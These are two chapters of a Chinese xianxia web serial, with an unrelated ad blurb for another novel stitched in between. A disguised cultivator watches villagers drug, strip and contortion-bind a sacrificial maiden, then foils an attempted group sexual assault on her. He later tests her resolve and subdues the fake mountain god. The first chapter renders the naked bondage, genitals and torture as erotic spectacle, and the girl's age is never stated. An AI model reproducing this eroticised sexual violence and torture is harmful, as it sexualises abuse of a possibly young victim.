  从日出到日落,她就这般被“熬煮”又“鞣制”着。寨民们也跟随者跪拜了一整天,他们看向祭坛的目光充满了热切的期盼,直到日落西山才渐渐散去,但林烨发现他们只是去吃个晚饭,到了日落之后到了夜里,不光成年人连小孩子和老人都来了,寨民们围坐在碗形的祭坛中间,神色肃穆庄重,似乎又大事发生。
  林烨看得暗自摇头,如此复杂的仪式哪怕在仙界都不多见,就比如自家老爹林德容随说是个化神境界的老怪,但想要召唤他其实不过也只是砸一个香炉的事……算了,往事不提。
  神女墨被平放在祭坛上用山泉水反复冲洗身上的浓稠的药渍,她身上的纱衣也早已被剥去,像是一头待宰的牲畜一样平静的躺在石板上一动不动,双瞳早已失去焦距。
  林烨已经做好准备,要说别的不会,装神弄鬼自己可最擅长了,要是过一会这些山野莽夫要对神女搞剖腹取心之类的操作自己就直接搞个化身投影把神女抢走,投影啥比较好呢……就搞个旧日支配者吧,吓死这帮龟孙!
  不过,剖腹取心的场面并没有发生。
  当夕阳最后一抹余晖隐没于山脊,繁星开始闪烁时,“夜祷”开始了。
  一头纯黑的公鹿被牵上祭坛。它似乎预感到了命运,不安地刨动着蹄子。
  祭司口中念念有词,手中石刀猛地刺入鹿颈!
  温热的鹿血喷溅而出,大部分被泼洒在周围九座狰狞的山神石龛上,发出“滋滋”的声响,仿佛真的被吞噬了一般。
  随后,狂热的寨民们纷纷用石刃划破自己的手臂,让鲜血滴入祭坛中间的凹槽顺着向下流向中央那团巨大的篝火。
  “猎于山!献于岳!饮血食髓!赐我丰穰!”
  数千人齐声咆哮,声音中带着一种原始的、血腥的疯狂。
  老祭司将鹿血涂满自己的额头,张开双臂,仰天嘶吼“嶂岳睁目,纳此血契!”
  “啧,场面倒是挺唬人”
  林烨撇撇嘴:“我这神识扫描都堪比相控阵了,可惜正主屁都没放一个。一群封建迷信的傻逼纯粹的自嗨。”
  第一日的仪式狂野血腥的氛围中结束,被反复浸泡又揉搓再浸泡十几次,折磨得意识模糊的神女墨像从水里捞出来一样,浑身被药液与汗水湿透,软软地如同破布娃娃一样被嬷嬷们架起来丢在担架上抬回牺宫稍作“休整”,准备迎接明日更残酷的环节。
  第二日凌晨时分,仪式转移至阴森的山神庙内殿。
  殿内火把猎猎作响,墙壁上描绘的“嶂岳吞山图”在跳跃的光影下,那山神巨口獠牙毕露,仿佛活了过来,欲要择人而噬,平添几分恐怖。
  林烨看了半天也没看出那山神究竟是个怎样的妖物,并非是因为他修为浅薄见识有限,而是这幅画实在是比毕加索还要抽象十分甚至九分。可见绘画者水平之有限,以及精神之扭曲,就算送去艺考也很难得52分的水准。
  神女墨被除净衣物,跪坐着放置在一个巨大的桃木祭台之上,此时的她全身如绵软无骨,肌肤也显得更加晶莹剔透,甚至看得出血管的纹路。
  四名老妪上前,八只枯槁但有力的手如同八根铁钳,死死压住她的四肢、头颈、腰背,让她动弹不得。
  “九狱锢仙缚!”(林烨:“有这等招式?我咋没听说过?”)
  老祭司的声音在空旷的殿内回荡,冰冷且残忍。
  真正的折磨,开始了。
  四个嬷嬷手持浸过药液赤红色缎带,首先抓住了墨那双莹白如玉的脚。粗糙的绳索缠绕上她每一根精致的脚趾根部,将其缠绕在祭台的木架上,随后猛然收紧!
  “一缚足,定其根,献其行路之能!”
  “呜——!”剧烈的疼痛让墨猛地仰起头,喉咙里挤出破碎的呜咽,额头上瞬间沁出细密的冷汗。
  “妈的搞毛?”
  梁上的林烨(麻雀)看得眼皮直跳。
  绳索继而缠绕踝骨,呈8死死收紧,勒得骨节咯咯作响,继而向上,紧紧束缚住膝弯。
  “二缚手,锁其巧,献其擒获之劳!”
  神女的双手如那日一样被涂上鱼胶随后用红绸缠绕成球形,不过这一次,两名嬷嬷将神女墨的双臂折叠起来,用红绸绑住其手腕与腋下并收紧,使其手臂折叠无法展开。
  祭司看到墨的四肢已经捆绑完毕,随后点头:“三折其身,如弓如狩,曲如牲礼,奉于神口!”
  接着,两名老妪用力将她的腰部向后反折!柔韧的腰肢被弯折到一个惊人的弧度,几乎对折,后脑勺已经贴在了屁股上!少女柔嫩的腹部和背部肌肉被极限拉伸,呈现出惊心动魄的曲线。绳索立刻缠绕上来,在腰腹间形成深深的、残酷的菱形缚,深深陷入皮肉,几乎要勒断她的脊柱!
  “嗬……呼……”墨的呼吸骤然变得极其困难且短促,极致的痛苦让她咬紧牙关,全身瞬间被冷汗浸透,肌肤因充血和缺氧泛起骇人的绯红。她被捆绑的姿态,已然初具一座“山峰”的雏形,充满了被暴力塑造的、凄厉的美感。
  她的头被强行向后仰到极限,下拉之后又向前从大腿之间推出来,大腿夹住脆弱的脖颈,绳子绕过头颅,将随后将上半身与祭台死死固定。
  绸缎绕过阴唇与大腿的缝隙之间将原本中间凸起的阴部勒出更加饱满的轮廓,而被极限拉长的腹部则以菱形捆缚的方式由丝绸缎带勒成凄厉的造型。
  最后,她折叠的双臂被用力向前拉扯压在下巴下面,将她的脸蛋托起向前固定,整个人彻底在桃木架子上无法动弹。
  最终的“峦形”完成了。
  此刻的神女墨,身体被极限折叠捆绑,整个人被束缚成一个极其紧密、无比羞耻的肉球。双臂被双膝盖夹在中间托住下巴,腰部极限反折,头部后仰,尤其是两侧肋下的双乳因为被祭台底部挤压不得不由小腿托起侧边,绳索深陷在她白皙娇嫩的皮肉之中,尤其是胸乳、腰腹、大腿根等丰满处,被绳索分割挤压得更加凸显。加之整个极限三折叠的身体被红色缎带勾勒出奇妙的形状,场面显得惊心动魄,又无比凄美。
  然而此时此刻的林烨脑子里只有一句话:“三折叠,怎么折都有面!”
  林烨(麻雀)抬起翅膀扇了自己的脑袋一巴掌,随后重新凝聚心神看着下方像一件被精心制作、等待献祭的残酷艺术品的神女。
  这个名叫墨的凡人女孩身上,脆弱与坚韧,圣洁与亵渎,在这一刻以一种令人窒息的方式融合在一起。她的身体微微痉挛着,长睫上沾满了不知是汗是泪的水珠,被封堵的口中只能发出极其微弱、痛苦的“呜呜”声,每一次艰难的呼吸都带动着被紧紧束缚的胸腔剧烈起伏,看得人揪心不已。
  ……操,这手法真他妈专业又变态。
  连林烨这等见多识广的修士,都忍不住在心里爆了句粗口。
  这绝不是普通山民能搞出来的花样,但正主到底是谁,至今也没有现身的迹象。
  就在他感慨之际,祭司摇动了手中的铜铃,声音尖利刺耳:“山神之欲,吞精噬魄!注尔元阳,壮其牲礼!献汝灵力,滋其味饴!——注灵!”
  “啥玩意?等下等下,注什么???”
  就在林烨愣神之际,祭司和嬷嬷已经退出了房间。紧接着,让林烨差点吓得现出原形的一幕出现了。
  四名仅在下身围了块皮裙、全身涂满白泥的精壮青年应声走进房间。他们眼神炽热,呼吸粗重,显然是吸了什么不该吸的玩意,四人目光贪婪地扫视着祭台上那具被残酷捆绑、毫无反抗能力、呈现出极致脆弱美的青春胴体。第一个青年伸出手,颤抖着,眼看就要触碰到那因反折而格外挺翘的阴唇边缘……
  “住手啊卧槽!来真的?!他妈的老子的纯阴之体也是你们这群凡夫俗子能碰的?!给爷爬!”林烨瞬间炸毛,什么观察计划都抛到了脑后。
  就在那青年的指尖即将触碰到肌肤的刹那,梁上麻雀的眼中闪过一丝极其微不可察的金色光芒。
  一股无形无质、玄奥晦涩的神念波动,如同水纹般瞬间荡漾开来,精准地扫过四名贡力郎的识海。
  “林烨自创招式之:梦里啥都有!”
  四个青年的动作同时一僵,眼神瞬间变得空洞而迷茫,仿佛陷入了某种幻象。紧接着,他们的表情开始急剧变化,浮现出极致的兴奋、满足、以及纵欲过后的疲惫与虚脱。他们的脸颊潮红,呼吸变得更加急促,身体甚至微微摇晃,仿佛刚刚经历了一场极其酣畅淋漓、耗尽了所有精力的云雨之事。
  他们互相看了一眼,都从对方眼中看到了“圆满完成神圣使命”的欣慰与自豪,然后恭敬地、带着满足的疲惫感,缓缓退到一旁,垂首肃立。
  “嗯?”
  反倒是祭台上的神女墨的眼神中透露出一股怪异,但她此时也是申请恍惚,身体又很虚弱,根本无力发声。
  “搞定咯!”
  屋梁上的林烨松了口气,得意地抖了抖羽毛。
  “啧,真是便宜你们四个傻小子了,所谓梦里啥都有,可是按照合欢宗秘藏双修图录的最高标准给编织的幻境,够这四个凡人崽子回味一辈子了!”
  至于说祭台上的神女墨,因极致的痛苦、窒息的捆绑和大量的药物,始终处于半昏迷的恍惚状态,她对身边发生的这场无声的惊变毫无所知,直到老祭司和嬷嬷们回到房间,看到小伙子们站立两侧,祭台上的神女安稳如常,便以为注灵仪式已经完成,满意地点了点头,脸上露出欣慰之色。
  他取出混合了鹿血和磁石粉的浓稠墨汁的符纸递给嬷嬷们,开始最后的“封禁”。
  符纸贴在墨的双眼之上:“蔽尔目,不见神威,不视己惧!”
  接着是双耳:“塞尔听,不闻神吼,不闻己哀!”
  然后是口唇:“缄尔舌,不出一言,不扰神享!”
  最后,他取出一张明显不同、散发着更隐晦能量波动的特制符纸,递给其中最年长的嬷嬷,后者小心翼翼地、严密地用符纸贴附在神女最私密娇嫩的部位,口中诵念:“锁灵源,固元阴;全其饴,奉山神!”
  锁阴符?还但是山寨版的?
  林烨眼神一凝,他倒是认识这种玩意,据说是一个被戴了好几次绿帽的修士搞出来的发明,这位修士每次境界突破闭关时老婆就会出去乱搞,他突破成为金丹真人后就发明了这么个专门针对女修,贴上除了特定道侣或主人,外人不能撕下来的玩意。
  只不过这玩意并非是真正的锁阴道符更没有丝毫的法力和效果,只是个拙劣的山寨仿品而已。
  但是巨大的疑惑也笼罩了林烨,既然锁阴符都出来了,那这肯定是仙家的手段。
  但不论邪修还是正道想要炉鼎还是炼制人丹,处女精血都是极为宝贵的材料,为何会要这山野村夫为祭品破处之后贴上锁阴符?这完全说不通啊。
  思来想去想不明白,林烨决定先聚焦下面。
  神女墨五窍皆封,唯留双鼻维持着微弱而艰难的呼吸,肚皮随着呼吸微微起伏,连带着被符纸贴上的阴部也显露出一丝圆嘟嘟的轮廓。
  她彻底成了一尊被完全封装好的、呈现着凄美三折体态的活祭品,静静放置,禁锢桃木祭台上,等待着最终的命运,而此时,山门庙宇之外,山民们也早已恭候多时。
  日出时分,巡游开始。
  四名“完成了重大使命”的贡力郎抬起沉重的桃木祭台,一步步走出阴森的神庙。
  当被捆绑成残酷“三折叠”的神女墨出现在阳光下时,寨民们发出了震天的欢呼和赞美!
  他们的脸上看不到丝毫对残酷的怜悯,只有对“神圣仪式”的狂热和对未来福祉的渴求。
  他们赞美神女此刻呈现出的姿态,赞美她为寨子做出的牺牲。
  然而化神麻雀站在树杈上的林烨却在思考另一件事。
  “三折其身……如弓如狩……”
  他的脑内默念着这条祭礼词,念了又念:“三,折其身?还是三折,其身?卧槽不会吧?这帮人是真·大傻逼啊!”
  很显然,他从刚刚开始就怎么也想不明白为何要把神女用如此极端的极限柔术三折叠姿态捆绑在祭台上,上辈子他只在猎奇视频或者东欧舞蹈表演当中看过的玩意如今却在大庭广众之下公开展示,实在是离谱又神经。
  但,会不会有一种可能,就是祭礼词在传承过程中出了岔子?比如念诵的时候,或者解读的时候出了什么问题?
  这对寿短福薄的凡人来说其实很有可能,所谓折身原本就是行礼的意思,而如果断句是“三,折其身”,其实就是将神女捆缚为下跪行礼的姿态而已。
  而这帮傻逼土老帽在解析祭礼词的时候不知道发了什么神经,理解成为了“三折,其身。”
  这可就坏菜了。
  既然是三折叠,当然要怎么折都有面。
  双腿蜷缩如婴儿双臂抱膝如婴孩自然容易,但哪个面都不好看。正面,一双小腿胫骨有啥好的?背面更是只有后背,上面就是脑袋,下面则是完全敞开的屁眼和阴部,以及一对脚丫子。
  而且,怀抱如卵形虽说一些女修闭关时也会找一只灵蝶幼虫为自己做茧在里面把身体蜷成一团舒舒服服的闭关,但如果是祭品的话,如此痛苦,极端,且视觉冲击极强的反向三折叠完美展示其脸蛋,双腿,以及腰腹,甚至双乳都从两侧挤出些许,显得很是诱惑又如一道鲜美果实静待采撷品尝。
  不知道是哪个天才想出来的如此这般“三折其身”,但想要做到这一点,也难怪神女过去天天都要药浴,仪式开始之前又要进行几乎一整天的反复药浴和推拿循环,毕竟如果是寻常女子,哪怕一些低阶一些的女修,如果被这么一个三折也只有下半身瘫痪成为轮椅战神的结局。
  至于说高阶,比如金丹级别的女修?她们也会瘫痪,只不过人家能靠着修为硬吃损伤而已,只有从小训练形体,拉伸筋骨,辅助以汤药沐浴和推拿按摩才能早就如此柔软的胴体,一切似乎渐渐说得通了。
  抬着三折叠人牲的队伍沿着寨中道路,缓缓向后山的“嶂岳之喉”洞穴行进。
  老祭司摇动铜铃在前引路,民众们跟在四名抬山郎身后缓缓行走,每行七步,祭司便高亢领呼,民众也疯狂应和,声浪一浪高过一浪:“灵女奉身——!”
  “——山灵纳珍!”
  “古礼承渊——!”
  “——永续永传!”
  “沃野千畴——!”
  “——丰穰长流!”
  “岳神降恩——!”
  “——吾族长安!”
  林烨化作苍鹰,悄无声息地跟在队伍上空。
  鹰眼的强大视力能看到祭台上神女的身体随着颠簸而轻微颤动,但就算高空侦查扫描也没有发现山中,以及附近的山峦当中有一丝一毫的邪修气息,不过是几只连化形都做不到的山精野怪四处徘徊,这在荒蛮之地再寻常不过。
  “或许邪修已死,当地人不知道所以继续这种仪式?要真是这样那可太傻逼了哦。”
  队伍最终抵达后山一个幽深漆黑、散发出阴冷寒气的山洞前。那洞口扭曲怪异,宛如一张择人而噬的巨兽之口,“嶂岳之喉”名不虚传。
  祭台被抬入洞穴深处放下。四名抬山郎退出门外,随后祭司按动机关,那扇需要数人合力才能推动的千斤岩板,在“隆隆”声中缓缓落下,即将彻底隔绝内外。
  老祭司带着民众对着下降的门板跪拜不止,沉声念道:“嶂岳之喉,吞此灵飨!三日静候,神意自昭——!”
  洞外,寨民们如同潮水般环绕洞穴跪下,口中反复吟诵着那令人毛骨悚然的经文:“折骨为香,凝血作醴;十年饥渴,一朝饱饫……”
  就在石门即将完全闭合的最后一刹那,一道微小的黑影如同灰色的闪电,悄无声息地从缝隙中疾射而入!正是林烨所化的麻雀。
  “轰隆!”石门彻底落下,将内外隔绝成两个世界。
  洞穴内瞬间陷入一片死寂和彻底的黑暗,只有头顶岩壁偶尔渗下的水珠滴落声,以及……祭台上那具“祭品”微不可闻、极其艰难短促的呼吸声。
  麻雀落在祭台旁,身上微光一闪,重新化为人形道士林烨。他指尖跃起一簇温和却不失明亮的纯阳灵光,驱散了周围的黑暗,照亮了神女墨此刻的惨状。
  在微弱的灵光照耀下,那极限的捆绑、深陷的绳索、淤血的肌肤、被符纸封禁的五窍一样样都显得更加触目惊心。极致的凄美与脆弱感扑面而来,足以令任何铁石心肠的人为之动容。
  “啧啧,真是……何至于此。”
  林烨叹了口气,眼中闪过一丝复杂的情绪。
  他蹲下身,仔细检查神女的状态。
  好在神女墨并没有让他失望,女孩的生命气息微弱但奇异地稳定着,纯阴之体的强大生机和那些药物的效果,让她在极度痛苦中陷入了一种深度的龟息状态,勉强吊住了性命。
  他没有尝试去解开那些繁琐而专业的绳结——现在还不是时候,如果打草惊蛇就前功尽弃了。
  他只是并指如剑,将少数灵气凝聚指尖,极其轻柔地点在墨的眉心与和下腹,两股精纯而温和的纯阳灵气缓缓渡入,小心翼翼地护住她的元神和丹田,确保她能安然度过这三天。
  “暴殄天物啊……真是暴殄天物!”
  他低声自语,目光再次扫过那些符箓,尤其是那张特制的锁阴符,眉头紧锁,用三种体液做药引“腌制”,再用活人“注灵”(虽然被老子搅黄了)和这种等级的符箓标记……虽然过程混乱不堪,顺序也颠倒错位,但混在一起显然指向某种古老的邪法仪式!
  是在炼制一种特殊的‘活丹’?或者……是在为某个强大的存在准备一个完美的“容器”、“鼎炉”甚至是……“傀儡躯壳”?
  越想越觉得这磐石寨不对劲,林烨探手入怀取出一枚白色的玉符,上面刻着一个大大的“林”字。这看似愚昧落后的祭祀,背后隐藏的真相恐怕远超他的想象。
  但转念一想,他又把玉符收入怀中。
  “妈的,是骡子是马拉出来溜溜!老子怎么能还没见过就被吓怕了?”
  他低头看着身旁被三折叠拘束在祭坛上,元神与丹田得到滋养安然入睡的神女墨不由得心生怜惜之感,伸手轻轻抚摸神女额前的发丝,心中不由感叹:如果自己是邪修看到祭品被祸祸成了这幅样子还早早地破了处子之身那怕不是要气的道心破碎,下山杀光这些土老帽才对。
  如果祭祀如此不讲究,要么就是很低级的山精野怪山高皇帝远猴子当大王,要么就是隐世不出的老怪搞的恶趣味,不管是三折叠的姿势亦或是献祭前所谓的“注灵”理论上都没有对祭品价值有任何提升。
  “也罢,既来之则安之。爷就在这儿等着,看看到底是哪路邪神妖道,摆出这么大阵仗,敢动我林烨看上的炉鼎!”
  说完,他身形再次一晃,重新化作那只灰扑扑的麻雀,扑棱着翅膀飞落到洞穴上方一块干燥的凸起岩石上,彻底收敛所有气息,如同真正没有生命的石块般,与黑暗融为一体。
  洞内彻底陷入了死寂。
  只有神女墨那微不可闻、艰难断续的呼吸声,在空旷的洞穴中轻轻回响。
  以及,黑暗中的麻雀那双锐利如星、闪烁着精明、警惕与浓浓探究欲望的小眼睛。
  他在等待。
  等待三日之后,石门再度开启。
  等待那场所谓的“验飨”。
  或者说,等待那位耗费如此心机、布置下这一切的幕后“食客”的最终现身。

乡村如此多娇
伙夫
周平本是一个平凡小村医,可是村里的俊寡妇,总喜欢上门找他治病…… 水兰溪:“周平,今晚上来嫂子家给嫂子治一治吧?” 周平:“兰溪嫂子,快让我歇一歇吧,这个星期都八回了!” ...

天空之城 / 发表于: 2025/10/14 04:20:58

第3章 问心破妄,墨许道途
  洞穴之内,黑暗与死寂是唯二的主宰。
  神女墨被“九狱锢仙缚”残酷地折叠捆绑,五窍皆封,如同被封入琥珀的珍蝶,唯有微弱而艰难的呼吸声证明着生命的存续。
  极致的痛苦、药物的麻痹、窒息的束缚,早已将她的意识推向了涣散的边缘。
  她仿佛漂浮在一片无边无际的混沌之海上,感知不到时间的流逝,唯有永恒的黑暗与孤寂。
  然而,就在这意识的至暗深处,一点朦胧的光辉忽然亮起。
  那光辉起初如同远星,微弱却坚定,逐渐驱散了部分混沌,凝聚成一个模糊而庞大的轮廓。它似人非人,似兽非兽,周身笼罩在氤氲的山岚雾气之中,散发出一种古老、苍茫、威严而沉重的气息。
  它仿佛就是这山脉的化身,是磐石寨民口中代代相传的、至高无上的“岳神”!
  一股难以言喻的威压降临在墨的心神之上,让她残存的意识本能地战栗、敬畏。
  “磐石寨民,奉上祭品,求十年风调雨顺,猎采丰饶。”
  一个宏大、非人、仿佛由地底磐石摩擦发出的声音,直接在她的识海中轰鸣响起:“然,天地不仁,以万物为刍狗。尔等微末之愿,于吾而言,有何意义?尔之牺牲,价值何在?”
  问题如同重锤,狠狠砸向墨涣散的心神。
  然而此刻,扮演山神的林烨正翘着二郎腿,悠闲地坐在自己刚刚找到的新“椅子”上饶有兴致地观察着墨的意识波动。
  他好奇的是这个看似逆来顺受的神女,内心深处会如何回答自己的灵魂拷问。
  混沌中,墨的意识沉默了良久。那宏大的声音几乎否定了她存在的全部意义。
  但出乎林烨意料的是,预想中的崩溃并未出现。
  她的意识之光反而在威压下微微稳定下来,一个清冷却带着奇异穿透力的“心念”缓缓回应:“于天地山岳,磐石寨之愿,确如尘埃,毫无意义。吾之牺牲,于您而言,亦无价值。”
  “有点意思。”
  林烨挑了挑眉:“然,”
  墨的心念继续流淌:“价值从不应由享用者界定,而应由付出者赋予。寨民深信其愿能达,深信吾身可换十年安宁,此‘信’本身,便是他们生存之意义。而吾之价值……”
  她的心念之光似乎明亮了几分:“在于吾之‘选择’。吾选择承此命运,非为山神,而为信吾之族人。此心此念,便是吾赋予自身之价值,无需天地认可,亦无需山神您来评断。”
  林烨感到又惊又喜,差点没维持住山神的威严声线,心中暗赞这脑子怎么长的,这回答绝了!
  宏大的声音似乎也为之停顿了片刻,才再次响起,带着一丝不易察觉的玩味:“他们以药液腌你,以绳索缚你,视你为牲礼。你心中,可曾有恨?”
  这一次,墨的回答更快,更直接:“有。”
  林烨心中惊叹,这么干脆?!
  “然,非恨寨民。他们亦困于传统与恐惧之中,与吾一样,皆是笼中鸟。”
  她的心念中流淌过一丝复杂的情绪:“吾所恨者,乃是这不得不以血肉奉献换取生存的‘规则’,是这令人窒息的‘必然’。恨其存在,而非恨执行之人。若恨意需有具体所指,便是恨这无力挣脱的命运本身。”
  林烨摸着下巴,脸上的笑容抑制不住,心中感慨这丫头恨规则而不恨人,这格局真是个大宝贝!
  然而识海之中的拷问还在继续:“若吾告知于你,”
  宏大的声音抛出了最残酷的问题:“此间祭祀,千年以来皆是一场谬误。并无山神纳飨,尔等所奉‘灵液’,不过是为满足某个早已消亡或从未存在的虚无念想。你待如何?”
  轰!,墨的意识之海仿佛被投入了一块巨石,掀起了滔天巨浪!剧烈的震荡让她被缚的肉身都微微痉挛起来。
  漫长的、死寂的沉默……就在林烨以为她终于要崩溃时,她的心念中忽然传来一声极轻、却充满了无尽悲凉与荒谬感的“笑声”。
  “果然……如此吗?”
  墨的灵识顿了一下,随后光亮更胜以往:“若真如此……那磐石寨千百年来所受的贫瘠与恐惧,吾等历代神女所承受的苦难与牺牲……竟是何等的荒谬与可笑!”
  下一刻,悲凉化为无比的坚定,她的心念如同出鞘利剑:“那么,此等毫无意义的循环,就该在今日,在吾这一代,彻底终结!吾存活之意义,将不再是‘奉献’,而是‘终结’此谬误!”
  林烨猛地坐直了身体,眼中精光爆射,心中狂喜。
  好一个终结谬误,这心性这决断,老子真是捡到宝了!
  “好!好!好!今吾可赐你二选一之机会!”
  宏大的声音继续考验:“一者,吾可如他们所愿,‘纳’你为飨,尔后赐福寨子十年太平,全你神女之名;二者,吾可放你离去,予你自由之身,但磐石寨将失去‘神佑’,重归贫瘠困苦。尔,作何选择?”
  墨的心念几乎没有犹豫:“此问本身,便是禁锢。”
  她一语道破天机,“您赐予的,并非选择,而是枷锁。选择一,吾身死,谎言延续;选择二,吾心死,余生皆负枷锁。”
  她的心念变得灼热而充满力量:“若您真为神明,当有第三种答案:吾既要自由,亦要磐石寨真正的解脱,而非仰赖虚假‘神佑’的十年!请您告知他们真相,吾愿与他们一同,寻找真实生存之道,而非献祭之道!”
  林烨忍不住在心里拍案叫绝,妙啊这破局之法,这丫头不仅看透了陷阱,还直接向神要求真相和变革,这他妈才是配得上老子的道侣该有的样子!
  “褪去‘神女’之衣冠,除去‘祭品’之烙印。墨,尔自身,究竟为何?所欲为何?”
  这一次,墨的心念陷入了最长的沉默,仿佛在混沌中艰难地搜寻着真正的自我。
  许久之后,她的心念之光重新亮起,微弱却无比清晰坚定:“吾名墨。墨者,可受万色浸染,然其本质,永存。此前十余载,吾为‘神女’。今日之后……吾欲为‘寻道者’。欲解世间之惑,欲求真实之我,欲证……吾命非由天定,由己!”
  林烨满意地点头,心中赞道好一个墨之喻,好一个寻道者,自我认知清晰,目标明确,满分!
  回想起最初见到神女墨时自己一刹那的失神,林烨不由得心中暗道难怪如此,此等资质,此等心性,又如何不会吸引自己这样的天之骄子心驰神往?
  不过联想到自己前几日的言行,林烨心中不由得感到有些羞愧难当:“前几日,有一黄袍道人,言语轻佻,欲邀你同行。若他是吾之化身,尔待如何?若他不是,尔又待如何?”
  林烨恶趣味地抛出了最后一个问题。
  墨的心念忽然轻轻波动,仿佛松了一口气,带着一种看透一切的淡然:“山神大人,不必再试探了。”
  “无论您是万丈山岳,还是那个卖狗皮膏药的轻佻道人……您所问的,是‘墨’之意。而吾所答的,亦是‘墨’之心。”
  “道虽不同,然求索之心或可相通。他若诚心邀约,吾愿与之同行,亲眼见证山外之世界,亲身体验……何为真正的‘道’。”
  林烨彻底服了,心中狂喜道妈的全看透了,连老子那点恶趣味都摸得一清二楚,这丫头简直是老天爷给老子量身定做的道侣!
  “哈哈哈哈哈!好!好一个‘墨’之心!好一个‘寻道者’!”宏大非人的声音骤然消失,取而代之的是一阵清越开朗、却带着几分熟悉轻佻意味的大笑。
  笼罩意识的威压瞬间消散无踪。
  墨只觉得身上一松,那些深深陷入皮肉、带来无尽痛苦的赤红丝带,如同活物般自动解开、滑落。封禁五窍的符纸也无火自燃,化为灰烬。
  神女下意识支撑着身体展开,跪坐在祭台之上;新鲜的空气涌入肺部,让她剧烈地咳嗽起来。
  模糊的视线逐渐聚焦……
  首先映入眼帘的,是一张带着玩世不恭笑容的俊朗脸庞——正是几日前在寨中遇到的、那个卖狗皮膏药的“巨阳道人”!
  他正悠闲地坐在……一头鼻青脸肿、浑身是伤、嘴角还在汩汩流血、体型庞大如小山的巨熊身上!
  那巨熊趴在地上,哼哼唧唧,眼神里充满了恐惧和委屈,哪还有半分“山神”的威严?
  而巨阳道人则笑嘻嘻地看着她,随手将一件宽大的、带着阳光味道的金黄色道袍,轻柔地披在了她几乎冻僵的、布满勒痕的赤裸身躯上。
  巨大的反差和眼前诡异的景象,让墨一时间怔在原地,脑子有些转不过来。
  林烨拍了拍屁股底下巨熊的脑袋,乐呵呵地对墨说道:“怎么样,小墨儿?这冒充山神、坑蒙拐骗、还想着把你当零嘴儿的蠢货,道爷我随手就帮你收拾了。既然你心中有恨,这小小‘山神’我随手杀了便是,今后你做我的道侣,我们一起逍遥快活,岂不快哉?”
  最后一个考验,轻描淡写地抛出。
  墨瞬间明白了过来。哪里有什么山神问心?从头到尾,都是这个看似不着调的道人在试探自己!而那个被揍得奄奄一息的巨熊,恐怕才是寨民们真正祭祀的、或者说被利用了的“山神”!
  她没有立刻回答,而是强撑着虚弱无比的身体,艰难地、却异常冷静地跪坐起来,对着林烨行了一礼,声音虽沙哑却清晰:“上仙神通广大,墨深感敬佩。然,在上仙动手之前,可否容墨问它几个问题?”
  林烨愣了一下,显然没料到她会提出这个要求,随即觉得更有趣了,大方地一挥手:“随便问!”
  墨的目光转向那头瑟瑟发抖的巨熊,平静地问道:“山神大人,过去历代的神女,是否皆被你所杀?吞食?”
  巨熊吓得一个激灵,连忙口吐人言,声音含糊哀切:“非也非也!上仙明鉴!小妖岂敢啊!”
  “啪!”
  林烨反手就是一个大耳刮子抽在熊头上:“学人说话就好好说!‘非也’个屁!说人话!”
  “哎哟!”
  巨熊疼得龇牙咧嘴,连忙改口:“没吃!没吃!一个都没吃!小的哪有那个胆子真吃人啊……”
  墨继续追问,眼神锐利:“既然非你所杀,那她们又去了何处?”
  巨熊偷瞄了林烨一眼,见他没动手,才哭丧着脸老实交代:“卖……卖到极乐宗换点灵石花了……小的冤枉啊!上仙!小妖我就是在山野间运气好觉醒了灵智,一没功法二没天材地宝滋养,修炼比登天还难!若没有灵石进账根本不可能再进一步啊!极乐宗就喜欢收这种体质特殊、经过驯化的女子,价格给的也高……小的也是一时糊涂……”
  墨了然,心中最后一块巨石落下,原来历代神女并非被吃,而是被卖。她深吸一口气,问出了最后一个问题:“既然如此,山神大人,我再问你,这些年来,你可否真的作为山神,护佑过磐石寨?”
  巨熊闻言,立刻努力用爪子撑着抬起头颅急忙表功:“有的有的!绝对有的!北山那条快要成精的大蟒蛇,还有南面那片成了气候、专门吸食精血的毒藤怪,都是因为小的我在这里坐镇,它们才不敢靠近寨子祸害人!上仙明鉴啊!小的虽然贪财,但也知道细水长流的道理!寨子没了,我这‘山神’也没得做了不是?如果杀了我,那寨子可就真的要大难临头了啊!上仙饶命,这上好的纯阴炉鼎小妖我本就不配享用,让与上仙,让与上仙便是!”
  林烨呵呵一笑,看向墨:“怎么样?问清楚了吧?既然如此,那便留下这熊怪去和寨民们解释这一切,你随我走吧?从此海阔天空,岂不美哉?”
  然而,许墨却缓缓地摇了摇头。
  林烨有些意外,挑眉说道:“嗯?若我强行带你走,你又能如何?”
  神女墨迎着他的目光,虽然虚弱,眼神却清澈而坚定:“不能如何。上仙法力通天,墨一介凡女,自是无力反抗。但,”
  她话锋一转,声音虽轻却带着一种不容置疑的力量,“上仙容貌堂堂,又言辞犀利,神通广大却并未以力压人,反而费心相问。想必是道心通明,言行磊落的正道仙家,绝非那等强取豪夺的邪修。再说,满足小女子微不足道的请求,于上仙而言只是随手之事,既能全您正道之风,又能安墨之心,何妨一听?”
  这一顶顶高帽子戴过来,又是夸相貌堂堂,又是赞言行磊落,又是捧正道仙家,直接把林烨夸得心花怒放,浑身舒坦,心中的满意度瞬间爆表!
  这女人,太会来事了!简直每一句话都挠在他的痒处!
  他脸上的笑容再也抑制不住,大手一挥:“说!尽管说!只要不是要星星要月亮,道爷我都应了!”
  许墨再次郑重跪下,恳切地说道:“墨恳请上仙,赐予山神大人适合它修行的功法,以及必要的丹药或灵石,以助其修行精进,巩固根基。”
  “啊?”林烨和地上的巨熊同时愣住了,巨熊的哼唧声都停了,难以置信地瞪大了熊眼。
  林烨是真没想到她会提出这个要求:“你……你要我帮它?”
  “是。”
  许墨点头,“它虽有错,但终究未曾害命,且多年来确实对寨子有庇护之功。若因我之故,导致上仙将其打杀或弃之不顾,致使山寨失去庇护而遭灾祸,墨心难安。此非仁恕之道。授之以渔,令其有能力继续履行庇护之责,方是长远之计。”
  林烨看着她清澈而坚定的眼眸,心中不禁再次为她的善良与远见暗暗喝彩。他大笑一声:“好!就依你!”
  他随手在储物袋里一摸,掏出一枚记载着一部妖族来说已是梦寐以求的至宝的妖族功法的玉简,又抓了一大把灵石和几瓶适合妖兽服用的丹药,看也没看,直接丢到巨熊面前。
  “喏,赏你的!之前去魔界旅游那边的朋友送的,以后好好修行,顺便给道爷我看好这寨子!要是再敢干那些拐卖人口的勾当,或者庇护不力,道爷我扒了你的皮做毯子!”  巨熊看着眼前堆积如山的灵石、丹药和那散发着诱人妖力的玉简,简直不敢相信自己的眼睛,愣了片刻后,巨大的熊头猛地磕在地上,砰砰作响,感激涕零:“多谢上仙!多谢上仙恩赐!小妖一定改过自新!一定好好守护寨子!多谢神女大人求情!多谢神女大人!”
